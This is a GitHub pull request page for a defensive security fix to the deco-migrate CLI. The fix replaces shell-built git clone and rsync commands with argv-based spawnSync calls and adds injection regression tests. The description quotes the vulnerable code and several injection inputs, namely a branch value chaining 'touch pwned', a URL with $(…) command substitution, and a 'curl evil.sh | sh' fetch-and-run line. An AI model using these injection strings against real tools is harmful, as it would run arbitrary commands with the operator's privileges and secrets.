Skip to content

fix(cli): prevent shell command injection in deco-migrate clone/copy - #459

Open
0xcucumbersalad wants to merge 1 commit into
mainfrom
fix/deco-migrate-cli-command-injection
Open

fix(cli): prevent shell command injection in deco-migrate clone/copy#459
0xcucumbersalad wants to merge 1 commit into
mainfrom
fix/deco-migrate-cli-command-injection

Conversation

@0xcucumbersalad

@0xcucumbersalad 0xcucumbersalad commented Aug 11, 2026

Copy link
Copy Markdown
Contributor

Summary

deco-migrate-cli.ts built git clone and rsync commands as shell strings with untrusted input glued in, then ran them through execSync (/bin/sh -c). Shell metacharacters in the input were re-parsed by the shell, so they executed as commands.

Vulnerable sinks (before):

// cloneRepo
const branchArg = branch ? ` --branch ${branch}` : "";        // UNQUOTED
run(`git clone${depthArg}${branchArg} "${source}" "${dest}"`); // execSync -> /bin/sh -c
// copyLocal
execSync(`rsync -a ... "${source}/" "${dest}/"`);

Untrusted inputs: the repo URL (positional), the --branch value, and the local source path — all things a caller "migrating their repo" supplies.

Impact

Arbitrary command execution on the machine running the CLI (dev laptop / CI runner), with that operator's privileges and secrets.

  • --branch 'main; touch pwned' → shell runs git clone … --branch main then touch pwned ….
  • URL https://github.com/org/$(touch pwned)$(…) evaluates before git runs (passes the isGitUrl check, still startsWith("https://")). Double quotes stop word-splitting, not command substitution.

Swap touch pwned for curl evil.sh | sh = full RCE.

The tool itself (git/rsync) was never the problem — the bug is building a command as text and letting a shell execute it. git never sees the injected part; the shell does.

Fix

Route every command whose arguments derive from untrusted input through a no-shell helper:

spawnSync(file, args, { shell: false })   // args = discrete argv elements

git/rsync receive each value as one literal argument (a --branch value of main; touch pwned is just an invalid branch name → git errors, nothing else runs). The now-dead run() shell helper is removed; execSync remains only for the fixed, operator-controlled diffAgainstRef find … | wc -l pipelines (no untrusted input, needs a pipe).

Tests

New deco-migrate-cli.test.ts (5 tests, all passing):

  • unit: buildCloneArgs / buildRsyncArgs keep injection strings as single literal argv elements (never fractured on ;/whitespace);
  • end-to-end: runs the real git with a malicious --branch and a $(…) URL, asserts git exits non-zero and the injected marker file is never created.
Test Files  1 passed (1)
     Tests  5 passed (5)

Scope / notes

  • Fixes finding F5 from the source audit. F4 (Supabase SQLi via package.json name in migrate.ts) and F6 (codegen filename → generated-code injection in generate-loaders/sections.ts) are the same class and still open — happy to follow up in separate PRs.
  • main() is now guarded behind an isMainModule() check so the test can import the arg-builders without executing the CLI (matches the pattern in generate-blocks.ts).

🤖 Generated with Claude Code


Summary by cubic

Fixes a command injection vulnerability in deco-migrate clone/copy by removing shell-based command execution. git and rsync now run without a shell, so user inputs (URL, branch, paths) are treated as literal args and can’t trigger RCE.

  • Bug Fixes

    • Route git clone and rsync through spawnSync with shell: false via a new runArgv helper.
    • Add buildCloneArgs and buildRsyncArgs; remove the shell-based run() helper. Keep execSync only for fixed, operator-controlled diffs.
    • Add regression tests that pass malicious --branch and URL values and verify no injected commands run.
  • Refactors

    • Guard CLI entry with isMainModule() so tests can import helpers without executing the CLI.

Written for commit cf069f0. Summary will update on new commits.

Review in cubic

deco-migrate-cli.ts built `git clone` and `rsync` command strings by
interpolating untrusted input (repo URL, --branch value, local source
path) and ran them via execSync (/bin/sh -c). A branch like
`main; touch pwned` or a URL like `https://…/$(touch pwned)` broke out
of the intended command and executed arbitrary commands on the machine
running the CLI (dev laptop / CI runner), with that operator's
privileges and secrets.

Fix: route every command whose arguments derive from untrusted input
through a no-shell `runArgv` (spawnSync, shell:false), so each value is
a discrete argv element and shell metacharacters are inert. The now-dead
`run()` shell helper is removed; execSync remains only for the fixed,
operator-controlled `diffAgainstRef` pipelines.

Adds deco-migrate-cli.test.ts: unit asserts arg-builders keep injection
strings as single literal argv elements, and an end-to-end test runs the
real `git` with a malicious --branch/URL and asserts the injected marker
file is never created.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant